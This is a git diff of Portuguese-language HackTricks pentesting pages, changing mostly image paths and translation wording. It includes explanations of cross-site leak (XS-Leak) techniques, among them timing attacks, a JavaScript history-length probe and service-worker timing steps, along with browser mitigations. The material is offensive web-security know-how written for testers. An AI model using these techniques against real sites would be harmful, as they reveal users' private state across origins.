* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# XS-Search/XS-Leaks
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
|
@ -15,7 +15,7 @@ Acesse hoje:
|
|||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -27,7 +27,7 @@ Existem diferentes elementos nesse tipo de ataque:
|
|||
|
||||
* **Web Vulnerável**: É a web de onde queremos exfiltrar algumas informações
|
||||
* **Web do Atacante**: É a web que o atacante cria contendo o exploit e que a vítima acessa
|
||||
* **Método de Inclusão**: É o método usado para carregar a Web Vulnerável a partir da web do Atacante (como window.open, iframe, fetch, tag HTML com href...)
|
||||
* **Método de Inclusão**: É o método usado para carregar a Web Vulnerável a partir da Web do Atacante (como window.open, iframe, fetch, tag HTML com href...)
|
||||
* **Técnica de Vazamento**: Após acessar a web vulnerável, uma técnica será usada para diferenciar entre os possíveis estados da web com as informações obtidas do método de inclusão usado.
|
||||
* **Estados**: Os 2 possíveis estados que a web vulnerável pode ter, dependendo da vítima que queremos diferenciar.
|
||||
* **Diferenças Detectáveis**: Essas são as informações que o atacante tem que tentar decidir o status da web vulnerável.
|
||||
|
@ -47,7 +47,7 @@ Para distinguir entre os 2 estados da página vulnerável, várias coisas podem
|
|||
|
||||
* **Elementos HTML**. O HTML oferece uma variedade de elementos que permitem a **inclusão de recursos de origem cruzada**. Elementos como folhas de estilo, imagens ou scripts forçam o navegador da vítima a solicitar um recurso não-HTML especificado. Uma lista que enumera possíveis elementos HTML para esse propósito está disponível online ([https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)).
|
||||
* **Frames**. Elementos como **iframe**, **object** e **embed** podem incorporar recursos HTML adicionais diretamente na página do atacante. Se a página **não usar proteção de enquadramento**, o código JavaScript pode acessar o objeto window do recurso emoldurado por meio da propriedade contentWindow.
|
||||
* **Pop-ups**. O método **`window.open`** carrega um recurso em uma nova guia ou janela do navegador. O método retorna um **identificador de janela** que o código JavaScript pode usar para acessar métodos e propriedades, que estão em conformidade com a SOP. Essas chamadas pop-up são frequentemente usadas em logins únicos. Navegadores modernos só permitem pop-ups se forem acionados por determinadas interações do usuário. Para ataques XS-Leak, esse método é especialmente útil porque **burla restrições de enquadramento e cookies para um recurso de destino**. Versões mais recentes do navegador recentemente adicionaram meios para isolar identificadores de janela.
|
||||
* **Pop-ups**. O método **`window.open`** carrega um recurso em uma nova guia ou janela do navegador. O método retorna um **identificador de janela** que o código JavaScript pode usar para acessar métodos e propriedades, que estão em conformidade com a SOP. Essas chamadas pop-up são frequentemente usadas em logins únicos. Navegadores modernos só permitem pop-ups se forem acionados por determinadas interações do usuário. Para ataques XS-Leak, esse método é especialmente útil porque ele **ignora restrições de enquadramento e cookies para um recurso de destino**. Versões mais recentes do navegador recentemente adicionaram meios para isolar identificadores de janela.
|
||||
* **Requisições JavaScript**. O JavaScript permite enviar solicitações diretamente para recursos de destino. Existem duas maneiras diferentes para esse propósito: **XMLHttpRequests** e seu sucessor **Fetch** **API**. Ao contrário dos métodos de inclusão anteriores, um atacante tem controle detalhado sobre a solicitação emitida, por exemplo, se um redirecionamento HTTP deve ser seguido automaticamente.
|
||||
### Técnicas de Vazamento
|
||||
|
||||
|
@ -75,7 +75,7 @@ Você pode acessar a ferramenta em [https://xsinator.com/](https://xsinator.com/
|
|||
**XS-Leaks Excluídos**: Tivemos que excluir XS-Leaks que dependem de **service workers**, pois eles interfeririam em outros vazamentos no XSinator. Além disso, optamos por **excluir XS-Leaks que dependem de configurações incorretas e bugs em um aplicativo da web específico**. Por exemplo, configurações incorretas de Cross-Origin Resource Sharing (CORS), vazamento de postMessage ou Cross-Site Scripting. Além disso, excluímos XS-Leaks baseados em tempo, pois muitas vezes são lentos, ruidosos e imprecisos.
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use o [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -135,7 +135,7 @@ Essa técnica é semelhante à anterior, mas o **atacante** também irá **forç
|
|||
* **Resumo**: O [relógio SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) pode ser usado para medir quanto tempo leva para realizar uma solicitação. Outros relógios podem ser usados.
|
||||
* **Exemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
||||
|
||||
Os eventos [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) e [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event) podem ser usados para medir o tempo que leva para buscar um recurso. Isso funciona porque o **`beforeunload`** é acionado quando o navegador faz uma **nova solicitação de navegação**, enquanto o **`unload`** é acionado quando essa **navegação realmente ocorre**. Devido a esse comportamento, é possível calcular a diferença de tempo entre esses dois eventos e medir o **tempo que o navegador levou para concluir a busca do recurso**.
|
||||
Os eventos [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) e [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event) podem ser usados para medir o tempo que leva para buscar um recurso. Isso funciona porque o **`beforeunload`** é acionado quando o navegador faz uma nova solicitação de navegação, enquanto o **`unload`** é acionado quando essa navegação realmente ocorre. Devido a esse comportamento, é possível calcular a diferença de tempo entre esses dois eventos e medir o tempo que o navegador levou para concluir a busca do recurso.
|
||||
|
||||
### Tempo de Frame com Sandbox + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
|
||||
|
||||
|
@ -210,7 +210,7 @@ Você pode realizar o mesmo ataque com tags **`portal`**.
|
|||
|
||||
Aplicações frequentemente usam [postMessage broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) para compartilhar informações com outras origens. Ouvindo essas mensagens, é possível encontrar **informações sensíveis** (potencialmente se o parâmetro `targetOrigin` não for usado). Além disso, o fato de receber alguma mensagem pode ser **usado como um oráculo** (você só recebe esse tipo de mensagem se estiver logado).
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use o [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -237,7 +237,7 @@ Se uma **origem** usa a **quantidade máxima de objetos de conexão WebSocket**,
|
|||
* **Métodos de Inclusão**: Frames, Pop-ups
|
||||
* **Diferença Detectável**: Uso da API
|
||||
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||||
* **Resumo**: Detectar solicitações de pagamento porque apenas uma pode estar ativa por vez.
|
||||
* **Resumo**: Detectar uma solicitação de pagamento porque apenas uma pode estar ativa por vez.
|
||||
* **Exemplo de código**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
|
||||
|
||||
Essa XS-Leak permite que um atacante **detecte quando uma página de origem cruzada inicia uma solicitação de pagamento**.
|
||||
|
@ -306,7 +306,7 @@ Para mais informações: [https://xsleaks.dev/docs/attacks/timing-attacks/connec
|
|||
|
||||
##
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
@ -338,7 +338,7 @@ Essa API pode ser usada para medir o tempo de uma solicitação ou para detectar
|
|||
* **Resumo:** Devido a um bug do navegador, as solicitações que resultam em erros são carregadas duas vezes.
|
||||
* **Exemplo de Código**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
|
||||
|
||||
Na técnica anterior, também foram identificados dois casos em que bugs do navegador no GC levam ao **carregamento duplicado de recursos quando eles falham ao carregar**. Isso resultará em várias entradas na API de Desempenho e, portanto, pode ser detectado.
|
||||
Na técnica anterior, também foram identificados dois casos em que bugs do navegador no GC levam ao **carregamento duplicado de recursos quando eles falham em carregar**. Isso resultará em várias entradas na API de Desempenho e, portanto, pode ser detectado.
|
||||
### Erro de Fusão de Solicitações
|
||||
|
||||
* **Métodos de Inclusão**: Elementos HTML
|
||||
|
@ -605,7 +605,7 @@ Ao enviar uma solicitação usando a Fetch API com `redirect: "manual"` e outros
|
|||
|
||||
Um atacante pode vazar se o cabeçalho Cross-Origin Opener Policy (COOP) estiver disponível em uma resposta HTTP de origem cruzada.
|
||||
|
||||
As aplicações web podem implantar o cabeçalho de resposta COOP para evitar que outros sites obtenham referências de janela arbitrárias para a aplicação. No entanto, esse **cabeçalho pode ser facilmente detectado** ao tentar ler a **referência `contentWindow`**. Se um site implantar **COOP em um estado específico**, essa propriedade (`opener`) será **indefinida**, **caso contrário**, será **definida**.
|
||||
As aplicações web podem implantar o cabeçalho de resposta COOP para evitar que outros sites obtenham referências de janela arbitrárias para a aplicação. No entanto, esse **cabeçalho pode ser facilmente detectado** ao tentar ler a **referência `contentWindow`**. Se um site implantar o COOP em apenas um estado, essa propriedade (`opener`) será **indefinida**, caso contrário, será **definida**.
|
||||
|
||||
### Comprimento Máximo de URL - Lado do Servidor
|
||||
|
||||
|
@ -671,7 +671,7 @@ Verificando `history.length`, fazendo um usuário **navegar** para uma página,
|
|||
* **Resumo**: É possível adivinhar se a localização de um frame/pop-up está em uma URL específica abusando do comprimento do histórico.
|
||||
* **Exemplo de Código**: Abaixo
|
||||
|
||||
Um atacante pode usar código JavaScript para **manipular a localização do frame/pop-up para uma adivinhada** e **imediatamente** **alterá-la para `about:blank`**. Se o comprimento do histórico aumentar, significa que a URL estava correta e teve tempo para **aumentar porque a URL não é recarregada se for a mesma**. Se não aumentar, significa que **tentou carregar a URL adivinhada**, mas porque **imediatamente depois** carregamos **`about:blank`**, o **comprimento do histórico nunca aumentou** ao carregar a URL adivinhada.
|
||||
Um atacante pode usar código JavaScript para **manipular a localização do frame/pop-up para uma adivinhada** e **imediatamente** **alterá-la para `about:blank`**. Se o comprimento do histórico aumentar, significa que a URL estava correta e teve tempo para **aumentar porque a URL não é recarregada se for a mesma**. Se não aumentar, significa que ele **tentou carregar a URL adivinhada**, mas porque **imediatamente depois** carregamos **`about:blank`**, o **comprimento do histórico nunca aumentou** ao carregar a URL adivinhada.
|
||||
```javascript
|
||||
async function debug(win, url) {
|
||||
win.location = url + '#aaa';
|
||||
|
@ -835,8 +835,8 @@ Ou pode-se apenas **enviar um fetch para a página potencialmente armazenada em
|
|||
* **Exemplo de código**:
|
||||
|
||||
1. O atacante registra um service worker em um de seus domínios (attacker.com).
|
||||
2. No documento principal, o atacante emite uma navegação (window.open) para o site alvo e instrui o Service Worker a iniciar um temporizador.
|
||||
3. Quando a nova janela começa a carregar, o atacante navega para a referência obtida no passo 2 para uma página manipulada pelo Service Worker.
|
||||
2. No documento principal, o atacante emite uma navegação (window.open) para o site-alvo e instrui o Service Worker a iniciar um temporizador.
|
||||
3. Quando a nova janela começa a carregar, o atacante navega pela referência obtida no passo 2 para uma página manipulada pelo Service Worker.
|
||||
4. Quando a solicitação feita no passo 3 chega ao service worker, ele retorna uma resposta 204 (Sem conteúdo), o que interrompe a navegação.
|
||||
5. Neste ponto, o Service Worker coleta uma medição do temporizador iniciado no passo 2. Essa medição é afetada pelo tempo que o JavaScript bloqueou a navegação.
|
||||
|
||||
|
@ -860,17 +860,17 @@ Em uma medição de tempo de execução, é possível **eliminar** **fatores de
|
|||
* **Resumo**: A API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) pode ser usada para medir quanto tempo leva para realizar uma solicitação usando `window.open`. Outros relógios podem ser usados.
|
||||
* **Exemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas da comunidade mais avançada do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Com HTML ou Re Injeção
|
||||
|
||||
Aqui você encontrará técnicas para extrair informações de um HTML de origem cruzada **injetando conteúdo HTML**. Essas técnicas são interessantes em casos em que, por qualquer motivo, você pode **injetar HTML, mas não pode injetar código JS**.
|
||||
Aqui você pode encontrar técnicas para extrair informações de um HTML de origem cruzada **injetando conteúdo HTML**. Essas técnicas são interessantes em casos em que, por qualquer motivo, você pode **injetar HTML, mas não pode injetar código JS**.
|
||||
|
||||
### Marcação Pendente
|
||||
|
||||
|
@ -947,15 +947,15 @@ Métodos mais genéricos:
|
|||
|
||||
* **Metadados de Fetch**. Esses cabeçalhos de solicitação permitem que os proprietários do servidor entendam melhor como o navegador do usuário causou uma solicitação específica. No Chrome, os cabeçalhos Sec-Fetch-\* são adicionados automaticamente a cada solicitação e fornecem metadados sobre a procedência da solicitação. Por exemplo, Sec-Fetch-Dest: image foi acionado a partir de um elemento de imagem. As aplicações da web podem então optar por bloquear solicitações com base nessas informações.
|
||||
* **Cookies Same-Site**. A flag Same-Site nos cookies permite que os sites declarem **se um cookie deve ser restrito ao contexto do mesmo site ou do primeiro site**. Todos os principais navegadores suportam cookies Same-Site. No Google Chrome, os cookies sem o atributo agora são Lax por padrão. Para XS-Leaks, **os cookies Same-Site limitam drasticamente as possibilidades de ataque de vazamento**. Por outro lado, as técnicas de vazamento que dependem de **`window.open` ainda funcionam com `SameSite=Lax`**. Os sites que usam **outros métodos de autenticação**, como certificados do lado do cliente e autenticação HTTP, **permanecem vulneráveis**.
|
||||
* **Desvinculação de Identificador de Origem Cruzada (COIU)**. O COIU, também conhecido como Isolamento de Primeira Parte (FPI), é um recurso de segurança opcional que os usuários podem habilitar nas configurações avançadas do Firefox (about:config) e foi inicialmente introduzido no Tor Browser. Em uma visão abstrata, ele é um contexto de mesma origem estendido. Ele **vincula vários recursos** (por exemplo, cookies, cache, armazenamento do lado do cliente) **à primeira parte** em vez de compartilhá-los entre todos os sites visitados. Se habilitado, o COIU diminui drasticamente a aplicabilidade de XS-Leaks, pois apenas os métodos que usam pop-ups ainda são possíveis para atender ao requisito de primeira parte da política.
|
||||
* **Proteções de Rastreamento**. A Apple implementou um mecanismo de privacidade chamado **Prevenção Inteligente de Rastreamento (ITP)** no Safari, que visa combater o rastreamento entre sites limitando as capacidades de cookies e outras APIs da web. Nas versões mais recentes do Safari, o ITP bloqueia todos os cookies de terceiros por padrão, sem exceções \[74]. Esse bloqueio impede todos os vazamentos que não são baseados em pop-ups. O Firefox adotou uma abordagem semelhante com a Prevenção de Rastreamento Aprimorada (ETP), mas eles bloqueiam apenas cookies de terceiros específicos pertencentes a provedores de rastreamento. No contexto de XS-Leaks, o ETP apenas mitiga as técnicas de vazamento que visam esses domínios de rastreamento.
|
||||
* **Extensões de Navegador**. Usuários conscientes da segurança podem usar **extensões de navegador para prevenir certos métodos de inclusão**.
|
||||
* **Desvinculação de Identificador de Origem Cruzada (COIU)**. O COIU, também conhecido como Isolamento de Primeira Parte (FPI), é um recurso de segurança opcional que os usuários podem habilitar nas configurações avançadas do Firefox (about:config) e foi inicialmente introduzido no Tor Browser. Em uma visão abstrata, é um contexto de mesma origem estendido. Ele **vincula vários recursos** (por exemplo, cookies, cache, armazenamento do lado do cliente) **à primeira parte** em vez de compartilhá-los entre todos os sites visitados. Se habilitado, o COIU diminui drasticamente a aplicabilidade de XS-Leaks, pois apenas os métodos que usam pop-ups ainda são possíveis para atender ao requisito de primeira parte da política.
|
||||
* **Proteções de Rastreamento**. A Apple implementou um mecanismo de privacidade chamado **Prevenção de Rastreamento Inteligente (ITP)** no Safari, que visa combater o rastreamento entre sites limitando as capacidades de cookies e outras APIs da web. Nas versões mais recentes do Safari, o ITP bloqueia todos os cookies de terceiros por padrão, sem exceções \[74]. Esse bloqueio impede todos os vazamentos que não são baseados em pop-ups. O Firefox adotou uma abordagem semelhante com a Prevenção de Rastreamento Aprimorada (ETP), mas eles bloqueiam apenas cookies de terceiros específicos pertencentes a provedores de rastreamento. No contexto de XS-Leaks, o ETP apenas mitiga as técnicas de vazamento que visam esses domínios de rastreamento.
|
||||
* **Extensões de Navegador**. Usuários conscientes de segurança podem usar **extensões de navegador para prevenir certos métodos de inclusão**.
|
||||
|
||||
### Mitigações de Técnicas de Vazamento
|
||||
|
||||
* **Manipulador de Eventos**. A **mitigação mais eficaz** para essa técnica de vazamento seria **negar todos eles**, mas isso quebraria a maioria das aplicações da web na Internet. Portanto, propomos **reduzir o número de informações necessárias que podem ser coletadas nos eventos**. Por exemplo, o evento de violação de CSP não deve conter a URL de destino de redirecionamento no campo blockedURI. Esse comportamento está implementado no Firefox e nas versões mais recentes do Google Chrome - apenas o Safari ainda está vulnerável.
|
||||
* **Mensagens de Erro**. Para mitigar XS-Leaks baseados na técnica de vazamento de mensagens de erro, existem dois requisitos principais. Primeiro, **as mensagens de erro não devem conter informações detalhadas**, assim como as mensagens de manipulador de eventos. Segundo, os navegadores devem **minimizar a ocorrência de mensagens de erro**. XS-Leaks como SRI Error, ContentDocument XFO ou Fetch Redirect detectam se uma mensagem de erro é lançada ou não.
|
||||
* **Limites Globais**. Corrigir técnicas de vazamento que abusam de limites globais é relativamente complexo porque eles dependem de restrições físicas. A recomendação geral é, portanto, **restringir os limites globais em uma pequena base por site**. Se o limite global for 1, como para a API de Pagamento, o invasor pode tentar silenciosamente ativar a interface de pagamento da web a qualquer momento, o que só terá sucesso se a interface não estiver sendo usada simultaneamente por outra guia. Recomendamos acessar a API de Pagamento apenas quando um evento confiável for usado. Dessa forma, o limite global é definido como zero, a menos que o usuário forneça consentimento, como um clique do mouse esquerdo em uma janela de diálogo, que define o limite global como um.
|
||||
* **Limites Globais**. Corrigir técnicas de vazamento que abusam de limites globais é relativamente complexo porque eles dependem de restrições físicas. A recomendação geral é **restringir os limites globais em uma pequena base por site**. Se o limite global for 1, como para a API de Pagamento, o invasor pode tentar silenciosamente ativar a interface do usuário de pagamento a qualquer momento, o que só terá sucesso se a interface do usuário não estiver sendo usada simultaneamente por outra guia. Recomendamos acessar a API de Pagamento apenas quando um evento confiável for usado. Dessa forma, o limite global é definido como zero, a menos que o usuário forneça consentimento, como um clique do mouse esquerdo em uma janela de diálogo, que define o limite global como um.
|
||||
* **Estado Global**. **As propriedades do estado global do navegador não devem ser acessíveis**. Por exemplo, o Firefox é o único navegador que atualiza o histórico do estado global quando ocorre um redirecionamento, o que resulta na leitura de history.length. Os navegadores devem criar uma nova propriedade de histórico quando ocorrer um redirecionamento, em vez de armazená-la globalmente. Outros exemplos são recursos compartilhados, como caches. Vazamentos de cache abusam do cache compartilhado usado para todos os sites abertos em um navegador. Para mitigar completamente as técnicas de vazamento de cache, o cache HTTP deve ser particionado com base em cada site, como implementado pelo Safari, Google Chrome e Firefox. Observe que, no Safari, os iframes não são afetados pela partição de cache.
|
||||
* **API de Desempenho**. Provamos que a API de Desempenho é uma excelente técnica de vazamento. Em muitos XS-Leaks, pudemos detectar a diferença se a resposta de uma solicitação de origem cruzada possui ou não uma entrada de desempenho. Como unificação, recomendamos garantir que todas as solicitações criem essa entrada e que apenas o subconjunto correto de informações de tempo seja registrado para solicitações de origem cruzada.
|
||||
## Referências
|
||||
|
@ -978,7 +978,7 @@ Métodos mais genéricos:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -31,17 +31,17 @@ No navegador integrado do Burp, vá para a **extensão do Burp** e habilite-a:
|
|||
|
||||
Agora atualize a página e na **Dev Tools** você encontrará a **guia DOM Invader:**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Injetar um Canary
|
||||
|
||||
Na imagem anterior, você pode ver um **grupo aleatório de caracteres, que é o Canary**. Agora você deve começar a **injetá-lo** em diferentes partes da web (parâmetros, formulários, URL...) e a cada vez clicar em pesquisar. O DOM Invader verificará se o **canary terminou em algum sink interessante** que possa ser explorado.
|
||||
Na imagem anterior, você pode ver um **grupo aleatório de caracteres, que é o Canary**. Agora você deve começar a **injetá-lo** em diferentes partes da web (parâmetros, formulários, URL...) e a cada vez clicar em search. O DOM Invader verificará se o **canary terminou em algum sink interessante** que possa ser explorado.
|
||||
|
||||
Além disso, as opções **Injetar parâmetros de URL** e Injetar formulários abrirão automaticamente uma **nova guia** **injetando** o **canary** em cada **parâmetro de URL** e **formulário** que encontrar.
|
||||
|
||||
### Injetar um Canary vazio
|
||||
|
||||
Se você apenas deseja encontrar possíveis sinks que a página possa ter, mesmo que não sejam exploráveis, você pode **procurar por um canary vazio**.
|
||||
Se você apenas deseja encontrar sinks potenciais que a página possa ter, mesmo que não sejam exploráveis, você pode **procurar por um canary vazio**.
|
||||
|
||||
### Mensagens da Web
|
||||
|
||||
|
@ -55,7 +55,7 @@ O DOM Invader permite testar o XSS no DOM usando mensagens da web com recursos c
|
|||
|
||||
Você pode clicar em cada mensagem para ver informações mais detalhadas sobre ela, incluindo se as propriedades `origin`, `data` ou `source` da mensagem são acessadas pelo JavaScript do lado do cliente.
|
||||
|
||||
* **`origin`**: Se as **informações de origem da mensagem não forem verificadas**, você poderá enviar mensagens de origem cruzada para o manipulador de eventos **de um domínio externo arbitrário**. Mas se for verificado, ainda pode ser inseguro.
|
||||
* **`origin`**: Se as **informações de origem da mensagem não forem verificadas**, você poderá enviar mensagens entre origens para o manipulador de eventos **de um domínio externo arbitrário**. Mas se for verificado, ainda pode ser inseguro.
|
||||
* **`data`**: Aqui é onde a carga útil é enviada. Se esses dados não forem usados, o sink é inútil.
|
||||
* **`source`**: Avalia se a propriedade de origem, geralmente referenciando um iframe, é validada em vez da origem. Mesmo que isso seja verificado, não garante que a validação não possa ser contornada.
|
||||
|
||||
|
|
|
@ -84,7 +84,7 @@ cmp original.jpg stego.jpg -b -l
|
|||
Se você perceber que uma **linha de texto** está **maior** do que deveria, então algumas **informações ocultas** podem estar incluídas dentro dos **espaços** usando caracteres invisíveis.\
|
||||
Para **extrair** os **dados**, você pode usar: [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -150,7 +150,7 @@ Encontre-o no [Github](https://github.com/dhsdshdhk/stegpy).
|
|||
|
||||
### Pngcheck
|
||||
|
||||
Obtenha detalhes sobre um arquivo PNG (ou até descubra se na verdade é algo diferente!).\
|
||||
Obtenha detalhes sobre um arquivo PNG (ou até descubra se é na verdade algo diferente!).\
|
||||
`apt-get install pngcheck`: Instale a ferramenta\
|
||||
`pngcheck stego.png` : Obtenha informações sobre o PNG
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# DCSync
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -12,7 +12,7 @@ Acesse hoje:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
